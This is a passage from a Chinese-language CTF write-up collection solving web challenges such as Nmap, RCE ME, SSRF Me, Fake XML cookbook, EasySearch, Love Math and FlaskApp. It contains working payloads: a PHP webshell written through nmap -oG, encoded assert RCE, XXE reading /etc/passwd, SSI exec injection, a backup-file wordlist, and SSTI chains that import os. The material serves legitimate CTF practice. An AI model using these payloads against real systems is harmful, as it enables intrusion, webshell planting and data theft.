filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/" #要替换成自己的路径
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
这里的话直接用网站容器太脆弱了,本地phpstudy搭个网站试
把src放到www目录下
最后的结果就是:
文件:xk0SzyKwfzw.php
GET参数:Efa5BVG
payload:/xk0SzyKwfzw.php?Efa5BVG=tac /flag
[网鼎杯 2020 朱雀组]Nmap
NMAP
escapeshellarg和escapeshellcmd绕过
看源码:
是namp的题,跟Online tool很像
都有escapeshellarg和escapeshellcmd
escapeshellarg:
escapeshellcmd:
payload:127.0.0.1 | <?php @eval($_POST[1]);?> -oG 1.php
发现不行,猜测php被banl
127.0.0.1 | <?= @eval($_POST[1]);?> -oG 1.phtml
蚁剑连接
[CISCN2019 华东南赛区]Web11
Smarty
模板注入
看到这里有一个ip
发现注入点:
发现可以直接命令执行
[极客大挑战 2019]RCE ME
assert
蚁剑绕过disable function
想办法构造code,然后长度要在40个字符内
可以用异或,取反:
这里我在异或的时候发现如果有',"这些在,^后面的部分会被直接替换掉,这里就用取反
echo urlencode(~ 'phpinfo');
看看phpinfo
(~%8F%97%8F%96%91%99%90)();
看看ban了哪些函数
关于eval
这里我们用assert
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);
然后直接蚁剑连接
【这里的url要加上?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);】
然后发现不能直接读flag
有个readflag
这里我们需要用到插件
点开市场,下载绕过disable function
打开,选择这个模式
[NPUCTF2020]ReadlezPHP
看源码,发现了这个东西
访问后源码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
?>
脚本:
<?php
class HelloPhp
{
public $a;
public $b;
}
/*
public function __construct(){
$this->a = "system";
$this->b = "ls";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);//这个
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
*/
$c = new HelloPhp;
$c->a = "phpinfo()";
$c->b = "system";
echo serialize($c);
?>
这里发现system('ls')没反应,那就看看环境变量
也是发现禁止了一堆函数
但是可以直接找到flag
[BSidesCF 2019]Futurella
直接看源码:
[BSidesCF 2019]Kookie
随便输一点东西,抓包
好像不是很行,单独action=login试试
登上去了,结合提示cookie,抓包,发现cookie有一个username=
直接为admin
[De1CTF 2019]SSRF Me
from flask import Flask, request # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__) # 创建一个Flask应用实例
secret_key = os.urandom(16) # 生成一个16字节的随机密钥
# 定义一个名为Task的类,用于处理任务
class Task:
def __init__(self, action, param, sign, ip):
self.action = action # 任务动作
self.param = param # 参数
self.sign = sign # 签名
self.sandbox = md5(ip) # 根据IP生成一个唯一的沙盒目录名
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox) # 如果沙盒目录不存在,创建它
def Exec(self):
result = {}
result['code'] = 500 # 默认响应码为500
if self.checkSign(): # 检查签名是否有效
if "scan" in self.action: # 如果任务动作是"scan"
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 执行扫描操作
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200 # 执行成功,响应码为200
if "read" in self.action: # 如果任务动作是"read"
f = open("./%s/result.txt" % self.sandbox, 'r')#写到result.txt文件
result['code'] = 200
result['data'] = f.read() # 读取结果
if result['code'] == 500:
result['data'] = "Action Error" # 如果动作无效,设置响应数据
else:
result['code'] = 500
result['msg'] = "Sign Error" # 如果签名无效,设置响应消息
return result
def checkSign(self):
if getSign(self.action, self.param) == self.sign: # 验证签名是否匹配
return True
else:
return False
# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param): # 检查是否触发Web应用防火墙(WAF)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) # 创建任务对象
return json.dumps(task.Exec()) # 返回任务执行结果的JSON表示
# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():
return open("code.txt", "r").read()
# 定义一个用于扫描URL的函数
def scan(param):
socket.setdefaulttimeout(1) # 设置超时时间
try:
return urllib.urlopen(param).read()[:50] # 打开URL并读取前50个字符
except:
return "Connection Timeout"
# 生成签名的函数
def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()
# 计算MD5哈希的函数
def md5(content):
return hashlib.md5(content).hexdigest()
# Web应用防火墙(WAF)检查函数
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"): # 检查前缀开头
return True # 如果参数触发WAF规则,返回True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80) # 启动Flask应用,监听在0.0.0.0的80端口上
这里出flag的逻辑就是通过scan扫到flag.txt然后写入result.txt文件,再用read把result.txt的文件内容读出来
如果我们想要读flag.txt,就需要进行scan和read操作,而这两个操作在Tack类中需要checkSign检查(对比md5值),那我们就可以用/geneSign知道该md5值(有·return)
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
此时action为scan,所以我们param为flag.txtread
(这里加个read是因为我们在/De1ta中操作的时候需要read,来构建我们需要的sign)
这样拼接之后就是 secret_keyflag.txtreadscan
because——> return hashlib.md5(secret_key + param + action).hexdigest()
然后就读flag:
这里param=flag.txt与action=readscan 拼接完后为 secret_keyflag.txtreadscan
和上文得到的md5值一致
[ASIS 2019]Unicorn shop
UTF-8与unicode编码转化漏洞
进来一个界面,看源码有个提示,这是先试试admin
unicodedata.numeric()函数用于获取一个Unicode字符的数值属性。例如,如果传入一个数字字符,如'2',它会返回对应的数值2.0。但是这个函数只能接受一个单独的字符,而不是字符串或空字符串
这里提示UTF8很重要,因为我们网页前端是用UTF-8写的,后端又是unicode编码
这是会出现一个转码的问题:
感觉flag就是那个id为4的,我们就找一个字符,然后他数值化后大于1337
直接在这里找
找到这个的UTF-8编码:
然后把0x替换成%
%F0%90%84%A3
[NCTF2019]Fake XML cookbook
题目都说了是XML
先抓包看看
还真是
来个介绍
我们尝试读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<?xml version="1.0" encoding="utf-8"?>
: 这是标准的 XML 声明,指定了文档版本和字符编码。<!DOCTYPE note [...] >
: 定义了一个名为note
的文档类型定义(DTD)。这里使用了内部 DTD 来声明一个自定义的实体。<!ENTITY admin SYSTEM "file:///etc/passwd">
: 在 DTD 中声明了一个名为admin
的外部实体。这个实体指向了/etc/passwd
文件- /etc/passwd存储所有用户账户的基本信息
可以,注意这里我们xml部分和上面的只需要空一行,否则 违反 HTTP 协议规范,可能导致服务器无法正确解析请求,从而引发错误
然后就是读flag:
file:///flag
[BJDCTF2020]EasySearch
Apache SSI 远程命令执行漏洞
.shtml
打开登录界面,研究了一会发现好像没啥东西
后面是去看看有没有 源码备份文件
这里从一位师傅那里拿了一个字典:
dweb.tar
website.tar
backup.tar
back.tar
www.tar
wwwroot.tar
temp.tar
web.tar.gz
website.tar.gz
backup.tar.gz
back.tar.gz
www.tar.gz
wwwroot.tar.gz
temp.tar.gz
web.zip
website.zip
backup.zip
back.zip
www.zip
wwwroot.zip
temp.zip
web.rar
website.rar
backup.rar
back.rar
WWW.rar
wwwroot.rar
temp.rar
.index.php.swp
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.7z
web.7z
web.tar
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old
爆破后发现index.php.swp
源码如下:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
要求password的前6向为6d0bc1
ai写一个脚本就行了
import hashlib
def generate_md5(prefix):
count = 0
while True:
data = prefix + str(count)
md5_hash = hashlib.md5(data.encode()).hexdigest()
if md5_hash.startswith(prefix):
return md5_hash, data
count += 1
prefix = input("请输入六个字符的前缀:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的数据:", data)
6d0bc14719749
进来后抓包
有一个路径
有个ip,但是试了一下没什么用,但是发现Hello后面跟的是1,也就是我们前面username的值
这里就有一个 .shtml
Apache SSI 远程命令执行漏洞
那就试试<!--#exec cmd="ls /" -->
<!--#exec ... -->
: 这是一个 SSI 指令,用于执行服务器上的命令。cmd="ls /"
: 指定要执行的命令是ls /
,这将列出根目录/
下的所有文件和目录。
发现可以,那我们往前翻:
<!--#exec cmd="ls ../" -->
ok,然后tac就好了
[CISCN 2019 初赛]Love Math
这题nss上也有
源码:
就是给我们限制了函数eval的话我们可以直接用命令执行system('tac /flag')
只不过可以写成$_GET[a]($_GET[b])&a=system&b=tac /flag这种形式
这里我们用到hex2bin函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符
但是题目中没有允许我们用这个
看到base_convert这个函数——在任意进制之间转换数字
然后因为36进制包含了10个数字+26个字母
我们就可以让hex2bin当作一个36进制的数
通过构造他的10进制——>base_convert转化为hex2bin使用
37907361743
然后我们的_GET的ascii码为5f474554,但是这里也是要转为10进制:
1598506324
payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{sin})&cos=system&sin=tac /flag
这里的pi,cos,sin都是常数,pi这里构造后就是_GET
$$pi{cos}就是$_GET[cos]
[GYCTF2020]FlaskApp
SSTI
看看hint
感觉这个session有东西
还有提示一个pin
我们先试试{{7*7}}加密然后再解密:
既然被过滤了,那么就是有这个东西
这里有waf,所以我们先读一下源码
大佬的脚本:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
这里看到被过滤的函数
payload:
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
解释一下这个代码:
●[]:创建一个空列表对象
●.__class__:获取该列表的类(即 list 类型)
●.__bases__[0]:获取 list 的基类(即 object,Python中所有类的基类)
●.__subclasses__():列出 object 的所有直接子类
●[75]:访问第75个子类
●.__init__:获取该类的初始化方法
●.__globals__:访问该初始化方法的全局变量字典(包含该类定义时的全局作用域中的变量)
●['__builtins__']:从全局变量中获取 __builtins__(内置模块和函数的集合)
●['__imp'+'ort__']:拼接字符串得到 __import__ 函数(用于动态导入模块)
●('o'+'s'):拼接字符串得到 'os',作为参数传入 __import__
●.listdir('/'):调用 os.listdir('/'),列出根目录下的文件
然后就是读取:
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/this_is_the_fla''g.txt','r').read()}}
若有收获,就点个赞吧